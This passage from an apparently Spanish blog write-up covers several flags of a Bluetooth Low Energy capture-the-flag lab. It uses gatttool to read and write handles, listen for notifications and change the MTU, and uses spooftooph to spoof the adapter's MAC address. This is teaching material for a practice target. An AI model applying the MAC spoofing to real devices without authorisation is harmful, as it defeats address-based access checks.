<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjcjKWcpqLL_bVJiQXeGoEeyWaCPXpAnq6DUKa_-1m9eYLFUEzN_50Otvy6qpMMpHE9giay0ismukeMEKSTdQHM6PfJu8r6e9G-CnmJP3bSJMKC6XxuRzNjdPrPY4m5MvGel88TCqb6p5s/s1600/Flag12_00.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="38" data-original-width="439" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjcjKWcpqLL_bVJiQXeGoEeyWaCPXpAnq6DUKa_-1m9eYLFUEzN_50Otvy6qpMMpHE9giay0ismukeMEKSTdQHM6PfJu8r6e9G-CnmJP3bSJMKC6XxuRzNjdPrPY4m5MvGel88TCqb6p5s/s1600/Flag12_00.png" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<div style="text-align: justify;">
Como hemos visto en el reto anterior con la opcion <span style="font-family: "courier new" , "courier" , monospace;"><b>--listen</b></span> podemos usar valores de 0100 para notificaciones, 0200 para indicaciones y 0300 para ambos, como nos indica explícitamente que escuchemos una indicación usaremos el valor 0200 en esta ocasión.</div>
</div>
<div>
<div>
<div style="text-align: justify;">
Después de solo unos segundos obtendremos la notificación necesaria.</div>
</div>
</div>
<div>
<div style="text-align: justify;">
<br /></div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTnQwAuRiSBTIBRy9zPudxj3Lqh7rZJOZxGR-ZfxgaeWjOAlT8K0F-Mir-xbMMDxmCqnlfZ0GObHfwHnfY1ki18ygHb1R2eTsDRFWqKmnTtoOtatIFqUqZu7i240eMLaZGBT5jzzf_3Jo/s1600/Flag12_01.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="71" data-original-width="888" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTnQwAuRiSBTIBRy9zPudxj3Lqh7rZJOZxGR-ZfxgaeWjOAlT8K0F-Mir-xbMMDxmCqnlfZ0GObHfwHnfY1ki18ygHb1R2eTsDRFWqKmnTtoOtatIFqUqZu7i240eMLaZGBT5jzzf_3Jo/s1600/Flag12_01.png" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div style="text-align: justify;">
Ya solo nos falta remitir la flag y comprobar el marcador</div>
<div>
<div style="text-align: justify;">
<br /></div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZowhfxmZBFoD6TRw6GRa8zJE2HH-RgpXJ2r71SJMk-gGw9VZaWxUqiCRVJu470IaaNOzYmZVq1hUi6LnZ_FMHSGPShRMdOqGnx3Zyk1gDYAL5t0cLzWZWKE1s2E2zjDxOXKlJvEfrQsc/s1600/Flag12_02.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="111" data-original-width="1058" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZowhfxmZBFoD6TRw6GRa8zJE2HH-RgpXJ2r71SJMk-gGw9VZaWxUqiCRVJu470IaaNOzYmZVq1hUi6LnZ_FMHSGPShRMdOqGnx3Zyk1gDYAL5t0cLzWZWKE1s2E2zjDxOXKlJvEfrQsc/s1600/Flag12_02.png" /></a></div>
<div>
<br />
<div>
<br /></div>
<div>
<br /></div>
<div>
<div>
<h4>
Flag 0x0046</h4>
</div>
</div>
<div>
<div style="text-align: justify;">
Leemos el handle y observamos que nos pide exactamente lo mismo que en la flag anterior pero en esta ocasión habla de varias notificaciones.</div>
</div>
</div>
<div>
<div style="text-align: justify;">
<br /></div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgyg8bWuViQ6zJMnOhTK5GiTvuLwXVQHUf319IAh3MVJfnh7uDmqwm2LxK9ys3_4UNxbxuEKhXXW7UFvIQgs5txLmyuAoS9OdJJnLEdwEZ66tHiUv82Adakf32JyTpTkRDyyik4dejfb8g/s1600/Flag13_00.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="38" data-original-width="357" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgyg8bWuViQ6zJMnOhTK5GiTvuLwXVQHUf319IAh3MVJfnh7uDmqwm2LxK9ys3_4UNxbxuEKhXXW7UFvIQgs5txLmyuAoS9OdJJnLEdwEZ66tHiUv82Adakf32JyTpTkRDyyik4dejfb8g/s1600/Flag13_00.png" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<div style="text-align: justify;">
Repetimos el mismo comando que en la flag anterior y recibimos una primera notificación diferente de la segunda y de las consecutivas.</div>
</div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKBkclNCQKGShcRvQXg4oRdaTax9kzuFNbSg7nWFecg_bGNxqLv7R8v3ZGbad-w2Av4-4ar9-YxtkprLvGhFKX8fsayyMnFqcJPEKReEtLwGcz-tRU08vffds_N05FcpSzUyYn154r5KE/s1600/Flag13_02.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="127" data-original-width="859" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKBkclNCQKGShcRvQXg4oRdaTax9kzuFNbSg7nWFecg_bGNxqLv7R8v3ZGbad-w2Av4-4ar9-YxtkprLvGhFKX8fsayyMnFqcJPEKReEtLwGcz-tRU08vffds_N05FcpSzUyYn154r5KE/s1600/Flag13_02.png" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<div style="text-align: justify;">
Las convertimos y al hacerlo podemos observar claramente como la primera podemos desecharla directame<span style="font-family: inherit;">nte</span><span style="font-family: inherit;"> (U no want this msg) y la </span>segunda<span style="font-family: inherit;"> es la que tiene mejor pinta para nuestro propósito.</span></div>
</div>
<div>
<div style="text-align: justify;">
<br /></div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhq4LVfaI4ttZ6ACb9Cpzi9Ajb3xXhPifxND7pq-aBZLJafvIRz3lFcQKUDoX7r5_2QXyBipL_JKp7f8oYKVLnZ3laN02O1A1DTlsNPGb5SaJY7mPvBIQbFYaNiv4ZGT1g4zCncVbmuHKM/s1600/Flag13_03.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="95" data-original-width="1055" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhq4LVfaI4ttZ6ACb9Cpzi9Ajb3xXhPifxND7pq-aBZLJafvIRz3lFcQKUDoX7r5_2QXyBipL_JKp7f8oYKVLnZ3laN02O1A1DTlsNPGb5SaJY7mPvBIQbFYaNiv4ZGT1g4zCncVbmuHKM/s1600/Flag13_03.png" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<div style="text-align: justify;">
Probamos suerte con esa segunda notificación y: voilá! Lo tenemos!</div>
</div>
<div>
<div style="text-align: justify;">
<br /></div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6w4YpsJuM83JOWHIRHgCsJtWHoCpCGefFixKN7MPGwxUnAH-QHOoyiAXaDlYNkWJOIBt64HDK15lSvGqbtgTNxu4XkE5gzYaMbV2SMDHovHquWdKc8jUqz9cNjrBo1PU722wTD90fkbM/s1600/Flag13_04.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="76" data-original-width="459" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6w4YpsJuM83JOWHIRHgCsJtWHoCpCGefFixKN7MPGwxUnAH-QHOoyiAXaDlYNkWJOIBt64HDK15lSvGqbtgTNxu4XkE5gzYaMbV2SMDHovHquWdKc8jUqz9cNjrBo1PU722wTD90fkbM/s1600/Flag13_04.png" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div>
<h4>
Flag 0x0048</h4>
</div>
<div>
<div style="text-align: justify;">
Este handle es un poco extraño... porque básicamente no esta solicitando lo mismo que en el reto anterior, solo que en esa ocasión nos pide escuchar las múltiples notificaciones en un handle diferente a si mismo.</div>
</div>
<div>
<div style="text-align: justify;">
<br /></div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEilOy48CJVctaomXVVkZ_OiPmIWQ3i-Xf0wY-tAea8SURGHhqBgvODidJ3M7GvZ_EKDNySUp_jtBy-59Sq528vWkbCSzX350Db4fWNl77u5E8k4RpWAzlUmtHNqKkh8jcx6lvYetpANcRE/s1600/Flag14_00.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="38" data-original-width="432" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEilOy48CJVctaomXVVkZ_OiPmIWQ3i-Xf0wY-tAea8SURGHhqBgvODidJ3M7GvZ_EKDNySUp_jtBy-59Sq528vWkbCSzX350Db4fWNl77u5E8k4RpWAzlUmtHNqKkh8jcx6lvYetpANcRE/s1600/Flag14_00.png" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<div style="text-align: justify;">
Repetimos por tanto todos los pasos que en el reto anterior pero esta vez sobre la flag <b>0x004a </b>y terminaremos llegando a la flag necesaria y subiéndola al marcador del mismo modo.</div>
</div>
<div>
<div style="text-align: justify;">
<br /></div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrQkmq4HYZrKy8eaAlYUfA3vF1tkiANX_sU4Tn5dTOicZTGxlK5hJPCCDhT15ttPt_k2fcOBtVnQRPgTly5bc7p-Vs7BEoT-KB5oKvRiFD3mjpbi8pq-Ul3IprgN81yO21aP5OWx3VZUI/s1600/Flag14_01.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="96" data-original-width="863" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrQkmq4HYZrKy8eaAlYUfA3vF1tkiANX_sU4Tn5dTOicZTGxlK5hJPCCDhT15ttPt_k2fcOBtVnQRPgTly5bc7p-Vs7BEoT-KB5oKvRiFD3mjpbi8pq-Ul3IprgN81yO21aP5OWx3VZUI/s1600/Flag14_01.png" /></a></div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzvzShblUsAOIG7KljFvqP8VtcXDYdsUDjPc7szzXs22kTGSn7PeWF13tae6Az_M_YoJKnFGjyxwL4jcIs3ecLz54lPzVZw84neh5wgwVGJAR-aai5jFBBZ_agwBpSP8xKqKy6Ok80J1Y/s1600/Flag14_03.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="82" data-original-width="1067" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzvzShblUsAOIG7KljFvqP8VtcXDYdsUDjPc7szzXs22kTGSn7PeWF13tae6Az_M_YoJKnFGjyxwL4jcIs3ecLz54lPzVZw84neh5wgwVGJAR-aai5jFBBZ_agwBpSP8xKqKy6Ok80J1Y/s1600/Flag14_03.png" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjk29Xkgu7D8Yi7ywyAec6UZzOkwVKEHJRFYoa_7dof0X4kPV2Pov03U6NJ9_cv_W-V7Nsvz_FsbVRwr0k4UHqXyAtQ0uRwLn6PXyBLLW1OIATSrluw18uZHTZW5o5HjSRH0UryAck8wWs/s1600/Flag14_04.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="72" data-original-width="449" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjk29Xkgu7D8Yi7ywyAec6UZzOkwVKEHJRFYoa_7dof0X4kPV2Pov03U6NJ9_cv_W-V7Nsvz_FsbVRwr0k4UHqXyAtQ0uRwLn6PXyBLLW1OIATSrluw18uZHTZW5o5HjSRH0UryAck8wWs/s1600/Flag14_04.png" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div>
<div>
<h4>
Flag 0x004c</h4>
</div>
</div>
<div>
<div style="text-align: justify;">
En este reto nos indican que para obtener la flag debemos de interacturar con este handle con una dirección MAC determinada en nuestro adaptador, concretamente la <span style="font-family: "courier new" , "courier" , monospace;"><b>11:22:33:44:55:66</b></span>.</div>
</div>
<div>
<div style="text-align: justify;">
<br /></div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiuKc2cUiFo7D4ehvcsGeWTNXlY4_EP-TW4db08uGW3SCa7Xohi2jIBtmc_1tw_hLIrFB1EGmN-m_ePLIGs8-C9Omr25-Uf-e-HsmCC2rlIOUVhlrvUOq6jwiGfK1bBmGZph5OHDKOUGfk/s1600/Flag15_00.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="39" data-original-width="413" height="30" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiuKc2cUiFo7D4ehvcsGeWTNXlY4_EP-TW4db08uGW3SCa7Xohi2jIBtmc_1tw_hLIrFB1EGmN-m_ePLIGs8-C9Omr25-Uf-e-HsmCC2rlIOUVhlrvUOq6jwiGfK1bBmGZph5OHDKOUGfk/s320/Flag15_00.png" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
Para falsear la dirección MAC de nuestro adaptador (OJO! Puede que no todos los adaptadores Bluetooth LE permitan realizar esto) vamos a usar la herramienta <span style="font-family: "courier new" , "courier" , monospace;"><b>spooftooph </b></span>indicándole nuestra interface y la nueva MAC que queremos obtener.</div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhbdakCdztHvYNjHyIsN6xrcxMgC2H53cXHdMysgd31fTESoIrAkBlBFfnfyhOJh4N33k4N2rnpz0tUORgrTlJDC1H0UGqdmAqNS-ufif0Q52STOB1xA0NpSx25Hip4-15PIqRiGHVB8Wo/s1600/Flag15_01.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="118" data-original-width="517" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhbdakCdztHvYNjHyIsN6xrcxMgC2H53cXHdMysgd31fTESoIrAkBlBFfnfyhOJh4N33k4N2rnpz0tUORgrTlJDC1H0UGqdmAqNS-ufif0Q52STOB1xA0NpSx25Hip4-15PIqRiGHVB8Wo/s1600/Flag15_01.png" /></a></div>
<br />
<br />
<div style="text-align: justify;">
Nos aseguramos que el cambio se efectivo y correcto con <span style="font-family: "courier new" , "courier" , monospace;"><b>hcitool dev</b>.</span></div>
<div style="text-align: justify;">
<span style="font-family: "courier new" , "courier" , monospace;"><b><br /></b></span>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxJag4TOUw-qE_ilbTBr9QrGFt1Zc4PpeXxoRmoGRrA8_5BgJ8JsvK6gk28jj7ya9eQGIT9Fl0y-Y9YXSRjVr6pKAn0b6bbPm5mXn2vAz5BGfE19OTVI44erLXTdfBPM0mUGYh81AUsVI/s1600/Flag15_02.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="62" data-original-width="421" height="47" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxJag4TOUw-qE_ilbTBr9QrGFt1Zc4PpeXxoRmoGRrA8_5BgJ8JsvK6gk28jj7ya9eQGIT9Fl0y-Y9YXSRjVr6pKAn0b6bbPm5mXn2vAz5BGfE19OTVI44erLXTdfBPM0mUGYh81AUsVI/s320/Flag15_02.png" width="320" /></a></div>
<br />
<br />
<div style="text-align: justify;">
Con la dirección MAC que nos han indicado en nuestro adaptador volvemos a leer las características del handle y procedemos a meter la flag con el resultado que nos devuelve para así subir otro punto más a nuestro marcador.</div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipXe0d56K-8_jjvCjYj74A0JGxvc0a825uhiQwxeRwuDaM6Poldk-Y1HKwimpIWf5a1gxP-_C9V0Mku4kvJ7-7P2V3dXgBsyIZM6jAB_OqNUQpRIyim4RBE5Byh19VXqDiKz265dsUqCs/s1600/Flag15_03.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="107" data-original-width="1079" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipXe0d56K-8_jjvCjYj74A0JGxvc0a825uhiQwxeRwuDaM6Poldk-Y1HKwimpIWf5a1gxP-_C9V0Mku4kvJ7-7P2V3dXgBsyIZM6jAB_OqNUQpRIyim4RBE5Byh19VXqDiKz265dsUqCs/s1600/Flag15_03.png" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<div>
<h4>
Flag 0x004e</h4>
</div>
</div>
<div>
<div style="text-align: justify;">
En esta handle se nos invita a jugar con el valor <b>MTU </b>(Unidad máxima de transferencia, la cual expresa el tamaño en bytes de la unidad de datos más grande que puede enviarse usando un protocolo de comunicaciones).</div>
</div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiU4ulr8qa_wPmkEBsY1Y5OjI6bzAMyyngw_CKkFTkz3rT8o2tCFOSdZHpHBrJTrQMwzq-ewibZigBozn_MJ6YWEelcYFvNtJND91fzBKzXzURTkIbv6Dmfq489TBXa5lz62W-Q1uEWb6A/s1600/Flag16_00.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="38" data-original-width="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiU4ulr8qa_wPmkEBsY1Y5OjI6bzAMyyngw_CKkFTkz3rT8o2tCFOSdZHpHBrJTrQMwzq-ewibZigBozn_MJ6YWEelcYFvNtJND91fzBKzXzURTkIbv6Dmfq489TBXa5lz62W-Q1uEWb6A/s1600/Flag16_00.png" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div style="text-align: justify;">
Para ello vamos a conectarnos mediante gatttool con una sesión interactiva al dispositivo y una vez conectado vamos a usar el comando <span style="font-family: "courier new" , "courier" , monospace;"><b>mtu </b></span>para asignarle valor <span style="font-family: "courier new" , "courier" , monospace;"><b>44 </b></span>como se nos ha solicitado y acto seguido leemos de nuevo el handle <b>0x004e </b>y obtenemos la cadena hexadecimal.</div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj12zFfKfQCZibZclXDFlc0BKtSSY2A2FAArotvojRSIwB31Vkw6poK3743sgm7Y0kFmzUOme4N3Pkt5FzipYnbYKGmLlkKWi3TsmffIgAAuoyDBSMnYUYUigUIY0UW3IMRPgHjcNPCA18/s1600/Flag16_01.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="161" data-original-width="852" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj12zFfKfQCZibZclXDFlc0BKtSSY2A2FAArotvojRSIwB31Vkw6poK3743sgm7Y0kFmzUOme4N3Pkt5FzipYnbYKGmLlkKWi3TsmffIgAAuoyDBSMnYUYUigUIY0UW3IMRPgHjcNPCA18/s1600/Flag16_01.png" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<div style="text-align: justify;">
Remitimos la flag y... ya estamos mucho mas cerca de la meta!!</div>
</div>
<div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4tRt4JebWSkfd3EF5vCaLV8Xptbp5-5KlY6MfirVmuYcxbh6Gq-OD6D6kMdOpbIWuRwW5ZoCTzFkSqz0e7SkbPBPAvxQk3wrWOMCgc6TuK31PicoqyX-m0ETNVjFriX6zSbsAGuaOcCE/s1600/Flag16_02.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="109" data-original-width="1077" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4tRt4JebWSkfd3EF5vCaLV8Xptbp5-5KlY6MfirVmuYcxbh6Gq-OD6D6kMdOpbIWuRwW5ZoCTzFkSqz0e7SkbPBPAvxQk3wrWOMCgc6TuK31PicoqyX-m0ETNVjFriX6zSbsAGuaOcCE/s1600/Flag16_02.png" /></a></div>
</div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<div>
<h4>
Flag 0x0050</h4>
</div>
</div>
<div>
<div style="text-align: justify;">
Este handle nos pide escribir "<span style="font-family: "courier new" , "courier" , monospace;"><b>hello</b></span>" pero parece indicarnos que también debemos esperar respuesta.</div>
</div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCQFTtLlQaMAOVv0_VgScxj27iwfgl-E7RKhrB6JucT4xC_NcH7CeenjMT_ATzofAXzNtbyof7svxEveyRj1MEIGMxWKfkQvEyv_CIpk2yY5IZyGAdkaZzWrlZSX3UR5Uc5y6puf6yh2Q/s1600/Flag17_00.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="39" data-original-width="368" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCQFTtLlQaMAOVv0_VgScxj27iwfgl-E7RKhrB6JucT4xC_NcH7CeenjMT_ATzofAXzNtbyof7svxEveyRj1MEIGMxWKfkQvEyv_CIpk2yY5IZyGAdkaZzWrlZSX3UR5Uc5y6puf6yh2Q/s1600/Flag17_00.png" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<div style="text-align: justify;">
Para llevarlo a buen puerto en vez de usar el modificador <span style="font-family: "courier new" , "courier" , monospace;"><b>--char-write</b></span>, que tan solo escribe pero no espera ninguna respuesta, debemos usar <span style="font-family: "courier new" , "courier" , monospace;"><b>--char-write-req</b></span> que igualmente realiza una petición de escritura peor además espera una respuesta por parte del servidor.</div>
</div>
<div>
<div style="text-align: justify;">
Después de hacerlo leemos de nuevo el handle y observamos que ya ha cambiado.</div>
</div>
<div>
<div style="text-align: justify;">
<br /></div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEijfBQEqWvvqynfnjNNXiJ-o08YSagwJlcrShHdFx4vYiEgKscr13vp0GbH4Lq8prjGA9HCFTHlnvnCLeqoCIMSpeGXJHz9p0kiHNfTUow85VpXoQ4U8Q3Lvdr2sgOka1zPsHLV-Hdsk_4/s1600/Flag17_01.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="73" data-original-width="963" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEijfBQEqWvvqynfnjNNXiJ-o08YSagwJlcrShHdFx4vYiEgKscr13vp0GbH4Lq8prjGA9HCFTHlnvnCLeqoCIMSpeGXJHz9p0kiHNfTUow85VpXoQ4U8Q3Lvdr2sgOka1zPsHLV-Hdsk_4/s1600/Flag17_01.png" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div>
<br /></div>
<div>
<div style="text-align: justify;">
Remitimos la flag y lo tenemos. Ya solo nos quedan tres retos pendientes!!!</div>
</div>
<div>
<div style="text-align: justify;">
<br /></div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCspgNQByhcHewksbOy9r4Lexqmxtzhp5pOvOHXw3v70HIiONsaAJOkcbzmJCPfXnGbh5f8Qg68yykbrhqPGOKa9V9MqDY-K-4KjAhhNyLjKvVil80Tz-C88FwGcPR3nNHHrUQyqk-LI4/s1600/Flag17_02.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="73" data-original-width="478" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCspgNQByhcHewksbOy9r4Lexqmxtzhp5pOvOHXw3v70HIiONsaAJOkcbzmJCPfXnGbh5f8Qg68yykbrhqPGOKa9V9MqDY-K-4KjAhhNyLjKvVil80Tz-C88FwGcPR3nNHHrUQyqk-LI4/s1600/Flag17_02.png" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<div>
<h4>
Flag 0x0052</h4>
</div>
</div>
<div>
<div style="text-align: justify;">
Leyendo este handle obtenemos un misterioso mensaje en el que afirma que no hay notificaciones en él, pero con un "really" que suena sospechoso...</div>
</div>
<div>
<div style="text-align: justify;">
<br /></div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrjsCt3Bga4O-bkQmEePwu4UM4IVadGIXvJAGOaVRIYWWvh62w7VofhtSuORnFfNdKRkeKexM4We4R1NbM3RJ9xNoAYxOIxIPkgZrjzpGQI-BSa7ll5hYknLZ8BQeig6wEstzR74ePnxU/s1600/Flag18_00.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="40" data-original-width="384" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrjsCt3Bga4O-bkQmEePwu4UM4IVadGIXvJAGOaVRIYWWvh62w7VofhtSuORnFfNdKRkeKexM4We4R1NbM3RJ9xNoAYxOIxIPkgZrjzpGQI-BSa7ll5hYknLZ8BQeig6wEstzR74ePnxU/s1600/Flag18_00.png" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
Si hacemos caso omiso y repetimos el procedimiento de flags anteriores en el que vamos a permanecer a la escucha de notificaciones y... tenemos suerte! Recibimos una notificación!</div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSMcHaaiAgTu1Krx22EPe6nceLQYk_H_qJ9zHW4vKgzUOrG_n9wfkBD3WVrYxPkSFpFuLOceRh4eGHU8hzeCenmeYXc8QRIOiOs3WNkxwlmiGoJEOzNWC5wYCcOgwew8D40j8532xZ5uM/s1600/Flag18_01.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="57" data-original-width="876" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSMcHaaiAgTu1Krx22EPe6nceLQYk_H_qJ9zHW4vKgzUOrG_n9wfkBD3WVrYxPkSFpFuLOceRh4eGHU8hzeCenmeYXc8QRIOiOs3WNkxwlmiGoJEOzNWC5wYCcOgwew8D40j8532xZ5uM/s1600/Flag18_01.png" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
Metemos la flag con ese valor recibido y hay suerte! una más!</div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTCVVsM4NVc4RCtJAbLS80mv1tmgxa6ZjFOk5lh_UT-XGbtLnfGE-yfn_ZiGzPnq6g8B7sA_zM82LaTQq9CfuSCiBEOsQt3OtwdlHehnW4bucD1E4zsnA-pU2pwMjeipfWb11ife__7uo/s1600/Flag18_02.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="112" data-original-width="1061" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTCVVsM4NVc4RCtJAbLS80mv1tmgxa6ZjFOk5lh_UT-XGbtLnfGE-yfn_ZiGzPnq6g8B7sA_zM82LaTQq9CfuSCiBEOsQt3OtwdlHehnW4bucD1E4zsnA-pU2pwMjeipfWb11ife__7uo/s1600/Flag18_02.png" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<div>
<h4>
Flag 0x0054</h4>
</div>
</div>
<div>
<div style="text-align: justify;">
Este handle nos indica que hay demasiadas propiedades!</div>
</div>
<div>
<div style="text-align: justify;">
<br /></div>
</div>
<div class="separator" style="clear: both; text-align: center;">
